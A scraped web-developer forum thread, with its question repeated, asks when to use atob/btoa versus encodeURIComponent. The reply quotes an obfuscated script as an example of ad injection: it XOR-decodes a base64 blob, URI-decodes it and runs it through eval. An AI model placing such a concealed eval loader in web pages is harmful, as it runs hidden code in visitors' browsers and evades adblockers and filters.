When would you use:
Are they supposed to be used together, eg:
atob(encodeURIComponent(...))
If not, when would btoa() and atob() be used and when would encodeURIComponent() and decodeURIComponent() be used?
When would you use:
Are they supposed to be used together, eg:
atob(encodeURIComponent(...))
If not, when would btoa() and atob() be used and when would encodeURIComponent() and decodeURIComponent() be used?
It's not rare. It's used to overcome adblockers and pass through firewall rules to insert bad adverts in pages. Check this out:
<script>eval(decodeURIComponent(Gg5C(atob("R1FxEgcICwcVBQUdUFlHXltcDRYeVkNRFg4eRVhITABUU3dZDA9VRXdXEAVVRRAKW0QCBxAPIEQAdhAKUhZZWVFXFU9RQVxMDU9CWkUWAwVUdVRWDARCdVpKBgRCEgcAR1MHVA1MAVlhAkRtR1MHEgd7R1MAEgcPAVl9dnpgVwxzVl0BLSdGUQ1gUBdnEgcPR1MJEgZ6R1FxEgcIR1Z0EgV5R1MA"),"ba0758")));function Gg5C(data,key){var result=[];for(var i=0;i<data.length;i++){var xored=data.charCodeAt(i)^key.charCodeAt(i%key.length);result.push(String.fromCharCode(xored));}return result.join("");}</script>